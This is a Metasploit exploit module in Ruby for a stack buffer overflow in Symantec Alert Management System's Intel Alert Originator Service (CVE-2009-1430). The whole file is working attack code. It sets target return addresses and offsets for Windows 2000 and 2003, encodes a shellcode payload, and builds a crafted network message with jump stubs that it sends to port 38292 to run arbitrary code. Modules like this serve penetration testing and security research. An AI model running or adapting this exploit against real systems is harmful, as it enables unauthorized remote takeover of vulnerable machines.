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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
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        When an attacker sends a specially crafted alert, arbitrary code may be executed.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2009-1430' ],
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          [ 'OSVDB', '54159'],
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          [ 'BID', '34674' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 800,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2003',     { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
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          [ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2009-04-28'))
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    register_options( [ Opt::RPORT(38292) ])
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  end
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  def exploit
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    connect
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    filler = rand_text_alpha_upper(2048)
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    sploit =  payload.encoded
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    sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
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    sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
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    sploit << [target.ret].pack('V')
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
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    sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"
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    msg =  "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
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    msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
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    msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
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    msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
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    msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
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    msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
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    msg << rand_text_alpha_upper(7) + " Alert" + sploit
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    msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
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    msg << rand_text_alpha_upper(rand(10) + 36)
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    msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
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    msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
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    msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
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    msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
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    msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
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    msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
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    msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"
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    print_status("Trying target #{target.name}...")
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    sock.put(msg)
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    handler
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    disconnect
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  end
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end
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